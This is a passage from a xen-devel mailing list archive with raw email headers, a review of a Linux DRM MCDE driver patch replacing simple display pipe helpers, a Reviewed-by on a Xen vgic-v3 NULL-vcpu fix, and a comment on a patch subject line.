         gsz9GiHekYZugp1cJqls0p1cXlED5CfLombgjdLw7uHRejn2xhiWF3KxBEyACsexQNax
         fO7v3K3CKlUmahx+pRVi08yiHXBQWSYepqhSHO49PyV6fDNGbVhq6AdaqsPD1gC4jj7U
         4VMNe0wjk+y57ADm8Tr8+ku48I5Li3jJywsuJYL2Bt0Td97kammqWjjYTRvDcqNpJQs4
         3qzA==
X-Forwarded-Encrypted: i=1; AHgh+RoWJiDM8lRoVxnE1TPVKm8rJN57mlId3d1TwdGNjdPOVSU6cdVFlKMBSSZgRvMCI7mKpPK7u0Nvc/k=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyfQJJ3o0+okQyDuz6cb2zJCahSMByS/1KpCInkYM017zfUvyDR
	AiXM7UK7kFQExrNb1Ltyms2f8IeaVpsesFYPn0txVVrHYfh83SFcXuL6JwkHm3p01fB+XEkY8WO
	uepGNvgaBLvlPFfPh0ekUHBFNImwbk7+5XpljqGkwamCDD14A65g5R5aoihONmCKYt4eVNA==
X-Gm-Gg: AfdE7clXuFJjR6oIfQFA76tvZRZNBSGYc0IoDmTXIf+zjuzjSUoqCz4e5Xj7SeEEclQ
	9+/5SnrJUY0fzQpLLsAUo7EGBEKkNJU9hmkq0a2YlCRAVSzEgD7C17GY40RSnCL0B47OJuceW72
	dQbxST2tcPUNPqr3BPUOjJOaTFV+cVzlOEYZL3RsrBvvjSzAhJ8L0wfQIaU6ga2gOMgF/90x1QR
	9eXDGSBaHhSuv4XbHXxLpGgSfNpDwFhfX1QqpTI2UkL+LU3n7sy+gREwC2SxMY7QPah7S1eSoFK
	vJib8Rw1vqVMEGok/o338dcfMgl4qILb4CaZObqPByk1gan5J49IUXB/P1UmtcNdY+Wi8rFcmdX
	dGSo7xAsJHc5KQDU=
X-Received: by 2002:a17:903:110f:b0:2c9:ae0b:61e3 with SMTP id d9443c01a7336-2ccea2d7e14mr27467065ad.2.1783519481623;
        Wed, 08 Jul 2026 07:04:41 -0700 (PDT)
X-Received: by 2002:a17:903:110f:b0:2c9:ae0b:61e3 with SMTP id d9443c01a7336-2ccea2d7e14mr27466655ad.2.1783519481069;
        Wed, 08 Jul 2026 07:04:41 -0700 (PDT)
Mime-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Wed, 08 Jul 2026 22:04:21 +0800
Message-Id: <DJT8VTO893BW.1DXRZNVOUL362@oss.qualcomm.com>
Subject: Re: [PATCH 4/9] drm/mcde: replace struct drm_simple_display_pipe
 with regular atomic helpers
From: "Ze Huang" <ze.huang@oss.qualcomm.com>
To: "Thomas Zimmermann" <tzimmermann@suse.de>,
        "Ze Huang"
 <ze.huang@oss.qualcomm.com>,
        "Alexey Brodkin" <abrodkin@synopsys.com>,
        "Maarten Lankhorst" <maarten.lankhorst@linux.intel.com>,
        "Maxime Ripard"
 <mripard@kernel.org>,
        "David Airlie" <airlied@gmail.com>, "Simona Vetter"
 <simona@ffwll.ch>,
        "Joel Stanley" <joel@jms.id.au>,
        "Andrew Jeffery"
 <andrew@codeconstruct.com.au>,
        "Frank Li" <Frank.Li@nxp.com>,
        "Sascha
 Hauer" <s.hauer@pengutronix.de>,
        "Pengutronix Kernel Team"
 <kernel@pengutronix.de>,
        "Fabio Estevam" <festevam@gmail.com>,
        "Linus
 Walleij" <linusw@kernel.org>,
        "Hans de Goede" <hansg@kernel.org>,
        "Alex
 Lanzano" <lanzano.alex@gmail.com>,
        "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>
Cc: <dri-devel@lists.freedesktop.org>, <linux-kernel@vger.kernel.org>,
        <linux-aspeed@lists.ozlabs.org>,
        <linux-arm-kernel@lists.infradead.org>, <imx@lists.linux.dev>,
        <xen-devel@lists.xenproject.org>
X-Mailer: aerc 0.21.0-0-g5549850facc2
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com> <20260705-drm-simple-kms-removal-v1-4-b4e1ca053623@oss.qualcomm.com> <4d1ddd5d-2635-4ee0-8481-78f3a034233b@suse.de>
In-Reply-To: <4d1ddd5d-2635-4ee0-8481-78f3a034233b@suse.de>
X-Proofpoint-GUID: VCdDdR5qHlhKWPKTM6ZdN1jTg109eK6B
X-Authority-Analysis: v=2.4 cv=CviPtH4D c=1 sm=1 tr=0 ts=6a4e58fa cx=c_pps
 a=cmESyDAEBpBGqyK7t0alAg==:117 a=cNux22OjBTKCC6TmznXXXA==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=rJkE3RaqiGZ5pbrm-msn:22
 a=P-IC7800AAAA:8 a=EUspDBNiAAAA:8 a=7ZHkO8slaP7M83yUoBMA:9 a=QEXdDO2ut3YA:10
 a=1OuFwYUASf3TG4hYMiVC:22 a=d3PnA9EDa4IxuAV0gXij:22
X-Proofpoint-ORIG-GUID: VCdDdR5qHlhKWPKTM6ZdN1jTg109eK6B
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA4MDEzOCBTYWx0ZWRfXxx9mg1HIfzf8
 JJ4z9lTTw2RXMLrWLm046zBhGUJX9BV7m775OG1ntNKllXg1ijCI2QmwfmexX1fNx7mf+GNe5k7
 HRRUKqxLdHuzTr6yTfl7n2JwSIhp69I=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzA4MDEzOCBTYWx0ZWRfX1LYwyJZtXvmC
 79dslbijjTw9eWq5vLPAG+97tOAib1P97RkwITR3DEOhg0tHJxv8uTdL7KcDheQzaku62j1Nyri
 CuRd6ahG/N0z+OCuD3XccKjIpMFPdl2ngL3IjWE1oFwrHSIBwfYeT6vEo/aUSnqPjjHW9N4KYTO
 LAs1Qq9wPEdd20iMhAzMtAmuKCOkoCrvurX+1CzeiJ5Q1RZrIG6HsfHGOQlW0EJllcMJ+HdgnUL
 xMUbabaY8yOsQefbCm7zuWwt7a/RSlgYWsYKLSp6pzt5+REPSQRQX6WilclNcxSUMpnxTCHWsbF
 dvywI/z5GrTw7BVOzRx+E+PvcQZ5iXGsjl5iPWegVpnUpguljYdauJwXgkQM87McW+8R7O85PnA
 sM2PGHs60Qz96xXUgUfAJelMqxpPYSzGDZfUurOqf50Xk31DGmMQl6WX1JrC5c74TWu0658XqUW
 i+z44ZDuMj2KBFMdTag==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-08_02,2026-07-08_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 suspectscore=0 impostorscore=0 bulkscore=0 lowpriorityscore=0
 adultscore=0 priorityscore=1501 phishscore=0 spamscore=0 malwarescore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607080138
X-purgate-ID: tlsNG-ebf023/1783519484-AE3371CC-6C1421AA/0/0
X-purgate-type: clean
X-purgate-size: 7183

On Wed Jul 8, 2026 at 9:02 PM CST, Thomas Zimmermann wrote:
> Hi
>
> Am 04.07.26 um 20:31 schrieb Ze Huang:
>> Convert MCDE to explicit plane, CRTC and encoder objects.
>>
>> Keep FIFO, event and framebuffer update sequencing intact, and install
>> GEM framebuffer prepare callback explicitly.
>>
>> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
>> ---
>>   drivers/gpu/drm/mcde/mcde_display.c | 162 +++++++++++++++++++++++++++-=
--------
>>   drivers/gpu/drm/mcde/mcde_drm.h     |   6 +-
>>   drivers/gpu/drm/mcde/mcde_drv.c     |   3 +-
>>   3 files changed, 129 insertions(+), 42 deletions(-)
>>
>> diff --git a/drivers/gpu/drm/mcde/mcde_display.c b/drivers/gpu/drm/mcde/=
mcde_display.c
>> index 257a6e84dd58..4d86fa5030eb 100644
>> --- a/drivers/gpu/drm/mcde/mcde_display.c
>> +++ b/drivers/gpu/drm/mcde/mcde_display.c
>> @@ -10,6 +10,7 @@
>>   #include <linux/regulator/consumer.h>
>>   #include <linux/media-bus-format.h>
>>  =20
>> +#include <drm/drm_atomic_helper.h>
>>   #include <drm/drm_device.h>
>>   #include <drm/drm_fb_dma_helper.h>
>>   #include <drm/drm_fourcc.h>
>> @@ -18,7 +19,6 @@
>>   #include <drm/drm_gem_dma_helper.h>
>>   #include <drm/drm_mipi_dsi.h>
>>   #include <drm/drm_print.h>
>> -#include <drm/drm_simple_kms_helper.h>
>>   #include <drm/drm_bridge.h>
>>   #include <drm/drm_vblank.h>
>>   #include <video/mipi_display.h>
>> @@ -132,7 +132,7 @@ void mcde_display_irq(struct mcde *mcde)
>>   	writel(mispp, mcde->regs + MCDE_RISPP);
>>  =20
>>   	if (vblank)
>> -		drm_crtc_handle_vblank(&mcde->pipe.crtc);
>> +		drm_crtc_handle_vblank(&mcde->crtc);
>>  =20
>>   	if (misovl)
>>   		dev_info(mcde->dev, "some stray overlay IRQ %08x\n", misovl);
>> @@ -157,13 +157,35 @@ void mcde_display_disable_irqs(struct mcde *mcde)
>>   	writel(0xFFFFFFFF, mcde->regs + MCDE_RISCHNL);
>>   }
>>  =20
>> -static int mcde_display_check(struct drm_simple_display_pipe *pipe,
>> -			      struct drm_plane_state *pstate,
>> -			      struct drm_crtc_state *cstate)
>> +static int mcde_plane_helper_atomic_check(struct drm_plane *plane,
>> +					  struct drm_atomic_commit *state)
>>   {
>> -	const struct drm_display_mode *mode =3D &cstate->mode;
>> -	struct drm_framebuffer *old_fb =3D pipe->plane.state->fb;
>> +	struct drm_plane_state *pstate =3D drm_atomic_get_new_plane_state(stat=
e, plane);
>> +	struct drm_crtc *crtc =3D pstate->crtc;
>> +	struct drm_crtc_state *cstate;
>> +	const struct drm_display_mode *mode;
>> +	struct drm_framebuffer *old_fb =3D plane->state->fb;
>>   	struct drm_framebuffer *fb =3D pstate->fb;
>> +	int ret;
>> +
>> +	if (!crtc)
>> +		return 0;
>
> Your planes' atomic_check functions should always run=20
> drm_atomic_helper_check_plane_state() first. Otherwise, the plane state=
=20
> will be incorrect.
>
> If there is no crtc, simply pass NULL for the CRTC state.=C2=A0 I'd advis=
e to=20
> duplicate the pattern at [1] from lines 487 to 498.=C2=A0 After=20
> _check_plane_state() ran, the atomic_check can do additional tests.
>
> If not looked over all the other patches for this problem, but this=20
> comment would apply to all of them.
>
> [1]=20
> https://elixir.bootlin.com/linux/v7.1.2/source/drivers/gpu/drm/mgag200/mg=
ag200_mode.c#L487

Will follow, thanks

>
>> +
>> +	cstate =3D drm_atomic_get_new_crtc_state(state, crtc);
>> +	if (!cstate)
>> +		return 0;
>> +
>> +	ret =3D drm_atomic_helper_check_plane_state(pstate, cstate,
>> +						  DRM_PLANE_NO_SCALING,
>> +						  DRM_PLANE_NO_SCALING,
>> +						  false, false);
>> +	if (ret)
>> +		return ret;
>> +
>> +	if (!pstate->visible)
>> +		return 0;
>> +
>> +	mode =3D &cstate->mode;
>>  =20
>>   	if (fb) {
>>   		u32 offset =3D drm_fb_dma_get_gem_addr(fb, pstate, 0);
>> @@ -1149,16 +1171,14 @@ static void mcde_setup_dsi(struct mcde *mcde, co=
nst struct drm_display_mode *mod
>>   	*dsi_formatter_frame =3D formatter_frame;
>>   }
>>  =20
>> -static void mcde_display_enable(struct drm_simple_display_pipe *pipe,
>> -				struct drm_crtc_state *cstate,
>> -				struct drm_plane_state *plane_state)
>> +static void mcde_crtc_helper_atomic_enable(struct drm_crtc *crtc,
>> +					   struct drm_atomic_commit *state)
>>   {
>> -	struct drm_crtc *crtc =3D &pipe->crtc;
>> -	struct drm_plane *plane =3D &pipe->plane;
>>   	struct drm_device *drm =3D crtc->dev;
>>   	struct mcde *mcde =3D to_mcde(drm);
>> +	struct drm_crtc_state *cstate =3D crtc->state;
>>   	const struct drm_display_mode *mode =3D &cstate->mode;
>> -	struct drm_framebuffer *fb =3D plane->state->fb;
>> +	struct drm_framebuffer *fb =3D mcde->plane.state->fb;
>>   	u32 format =3D fb->format->format;
>>   	int dsi_pkt_size;
>>   	int fifo_wtrmrk;
>> @@ -1298,9 +1318,9 @@ static void mcde_display_enable(struct drm_simple_=
display_pipe *pipe,
>>   	dev_info(drm->dev, "MCDE display is enabled\n");
>>   }
>>  =20
>> -static void mcde_display_disable(struct drm_simple_display_pipe *pipe)
>> +static void mcde_crtc_helper_atomic_disable(struct drm_crtc *crtc,
>> +					    struct drm_atomic_commit *state)
>>   {
>> -	struct drm_crtc *crtc =3D &pipe->crtc;
>>   	struct drm_device *drm =3D crtc->dev;
>>   	struct mcde *mcde =3D to_mcde(drm);
>>   	struct drm_pending_vblank_event *event;
>> @@ -1381,17 +1401,23 @@ static void mcde_set_extsrc(struct mcde *mcde, u=
32 buffer_address)
>>   	writel(buffer_address + mcde->stride, mcde->regs + MCDE_EXTSRCXA1);
>>   }
>>  =20
>> -static void mcde_display_update(struct drm_simple_display_pipe *pipe,
>> -				struct drm_plane_state *old_pstate)
>> +static void mcde_plane_helper_atomic_update(struct drm_plane *plane,
>> +					    struct drm_atomic_commit *state)
>>   {
>> -	struct drm_crtc *crtc =3D &pipe->crtc;
>> -	struct drm_device *drm =3D crtc->dev;
>> -	struct mcde *mcde =3D to_mcde(drm);
>> -	struct drm_pending_vblank_event *event =3D crtc->state->event;
>> -	struct drm_plane *plane =3D &pipe->plane;
>> +	struct drm_crtc *crtc =3D plane->state->crtc;
>> +	struct drm_device *drm;
>> +	struct mcde *mcde;
>> +	struct drm_pending_vblank_event *event;
>>   	struct drm_plane_state *pstate =3D plane->state;
>>   	struct drm_framebuffer *fb =3D pstate->fb;
>>  =20
>> +	if (!crtc)
>> +		return;
>
> The helper first does vblank handling and then handles visibility by=20
> testing "if (fb)". No need for this test.

Will drop it

>
>> +
>> +	drm =3D crtc->dev;
>> +	mcde =3D to_mcde(drm);
>> +	event =3D crtc->state->event;
>> +
>
> And this needs to handle !crtc without returning.
>
>>   	/*
>>   	 * Handle any pending event first, we need to arm the vblank
>
> And the next block handled vblanks, which is not the right place. That's=
=20
> a preexisting issue.=C2=A0 Vblank handling is better done in the crtc's=
=20
> atomic_flush.

I'll move vblank handling logic to new atomic_flush function

>
> Best regards
> Thomas
>
>>   	 * interrupt before sending any update to the display so we don't
>> @@ -1443,9 +1469,8 @@ static void mcde_display_update(struct drm_simple_=
display_pipe *pipe,
>>   	}
>>   }

Thanks,
Ze


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 14:07:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 14:07:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357078.1611579 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSw0-0007lA-H0; Wed, 08 Jul 2026 14:07:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357078.1611579; Wed, 08 Jul 2026 14:07:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSw0-0007l3-EE; Wed, 08 Jul 2026 14:07:32 +0000
Received: by outflank-mailman (input) for mailman id 1357078;
 Wed, 08 Jul 2026 14:07:31 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <julien@xen.org>) id 1whSvz-0007kx-1Y
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:07:31 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <julien@xen.org>) id 1whSvy-00Dbs6-1a;
 Wed, 08 Jul 2026 14:07:30 +0000
Received: from [2a02:8012:3a1:0:8c05:5c60:25dd:367e]
 by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (Exim 4.96)
 (envelope-from <julien@xen.org>) id 1whSvx-005EPb-2s;
 Wed, 08 Jul 2026 14:07:30 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=xen.org;
	s=20200302mail; h=Content-Transfer-Encoding:Content-Type:In-Reply-To:From:
	References:Cc:To:Subject:MIME-Version:Date:Message-ID;
	bh=rIajY9mjw1217N7ZCuPIB3B+DsndKOj4VOhpBBS6xOQ=; b=vWj0dRy5GHxnxUE8c+TLgD/nx2
	7K1NihX49tlO3+Ia/m6dysYLSY1kCkrQ+1/0eG9WeZ/m2qkaeu25uCufKHXtbD2iCYr9YsLUk1d7T
	x/i+Zg0DH63I5jL1wZDrQa04u4GD78RBt6PViJcS34zhIqXiP5LxnXHzK/E72Y6n2d3Q=;
Message-ID: <175a17d2-64b3-4a68-bfc2-ee36c665d3c1@xen.org>
Date: Wed, 8 Jul 2026 15:07:28 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] arm/vgic-v3: Fix data abort in get_vcpu_from_rdist()
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Michal Orzel <michal.orzel@amd.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <20260708121753.1428271-1-andrew.cooper3@citrix.com>
Content-Language: en-GB
From: Julien Grall <julien@xen.org>
In-Reply-To: <20260708121753.1428271-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit

Hi Andrew,

On 08/07/2026 13:17, Andrew Cooper wrote:
> Just because vcpu_id is within d->max_vcpus doesn't mean d->vcpu[vcpu_id] is
> non-NULL.  Use the proper accessor to look up a vcpu object.
> 
> Reported-by: Michal Orzel <michal.orzel@amd.com>
> Fixes: acf65e5a25a7 ("xen/arm: vgic-v3: Emulate correctly the re-distributor")
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Julien Grall <julien@xen.org>

Cheers,

-- 
Julien Grall



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 14:13:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 14:13:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357090.1611589 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whT1J-0001AG-2B; Wed, 08 Jul 2026 14:13:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357090.1611589; Wed, 08 Jul 2026 14:13:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whT1I-0001A9-V4; Wed, 08 Jul 2026 14:13:00 +0000
Received: by outflank-mailman (input) for mailman id 1357090;
 Wed, 08 Jul 2026 14:12:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f421317ed0002807@swg.vates.tech>)
 id 1whT1H-0001A3-7t
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:12:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whT1G-00AFNx-Kg
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 16:12:58 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f421317ed0002807@swg.vates.tech>)
 id 6a4e5ade-2eae-0a2a0a5409dd-0a2a45038f26-32
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:12:58 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f421317ed0002807@swg.vates.tech>)
 id 6a4e5aea-ec1a-0a2a45030019-b9ff1c229797-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:12:58 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f421317ed0002807.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 14:12:55 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id A57D781F06;
 Wed,  8 Jul 2026 16:12:54 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=qg8mV7cTB8le9ORAeOS+/Jc7qO5eWdAV9jThja3gleE=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Up99mdHlIQZ4DN2ou1vZrlxQMsj1uPlHXapoT9i7xPW4C7BTmUWVr5uIe2iOROGZTxpllkNK0
 cjUX8EXtP7uSSsXtTPnNYyAs1ZqFXWRkH7+hS5N1x0h6nWDJsU5P/MjyWrewHCtjUrepzRSrnXx
 LkZT3Kak7Onl0G9T3AY2mE9Dur385Zn1kZwjLMzgkGY0qGGl6ua7oOnl0khOwSriHnq4hynKeTN
 9wwuMNpOg+wNqHpnzy6ylau4C/YkdHdO+ArSLQ32CEwKozQHIOPR9aeNsqwMks1ENTy+/iSj5p4
 gFXe+gj1qskf66eZu/ZyzUKj5Rwj79tNM7KHFpXWdHRQ==
X-Zone-Loop: 72fb0882828738e86a500fc8f4723dbcd78b3c3b776e
x-campaign-type: default
x-transaction-id: 46913a67-6fd8-414c-9531-c8d3f3eb5069
x-swg-uid: 01-db013b5d-e984-4b78-a853-2d0cbdbdb3d4
X-Mailer: Sweego
Message-ID:
 <1783519975.8631fc262581453bbf619ec5b2062170.19f421317ed0002807@vates.tech>
x-swg-bid: 1783519975.8631fc262581453bbf619ec5b2062170.19f421317ed0002807
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 16:12:54 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v6 15/16] libs/guest: finalize PoC
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-16-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260619130501.272832-16-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.433.4af9d2b29e5c5fbc.19f421315b1.b68333ffdbba42ad=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783519974834
X-purgate-ID: tlsNG-33051d/1783519978-B59BA5D1-9F7DE215/0/0
X-purgate-type: clean
X-purgate-size: 787

---=Part.433.4af9d2b29e5c5fbc.19f421315b1.b68333ffdbba42ad=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

A note about the subject: When taken out of the context of this patch
series (so once commited), we don't know what "PoC" is refering to=2E In
"libs/guest: finalize PoC", it looks like "libxenguest" was the PoC, but
it isn't=2E

It feels like this patch wants to be merged into that other PoC patch,
and have a patch description completely rewritten to have something that
doesn't looks like the description of an experiment=2E

Cheers,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.433.4af9d2b29e5c5fbc.19f421315b1.b68333ffdbba42ad=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 14:36:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 14:36:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357105.1611596 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTOA-000474-LH; Wed, 08 Jul 2026 14:36:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357105.1611596; Wed, 08 Jul 2026 14:36:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whTOA-00046x-If; Wed, 08 Jul 2026 14:36:38 +0000
Received: by outflank-mailman (input) for mailman id 1357105;
 Wed, 08 Jul 2026 14:36:36 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whTO8-00046r-QA
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:36:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whTO7-00AKtV-LF
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 16:36:35 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e606d-e002-0a2a0a5209dd-0a2a4501a648-16
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:36:35 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e6073-400f-0a2a45010019-d155dd36ec28-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:36:35 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-476a130c138so851791f8f.0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:36:35 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0f213e8sm41132647f8f.34.2026.07.08.07.36.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 07:36:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
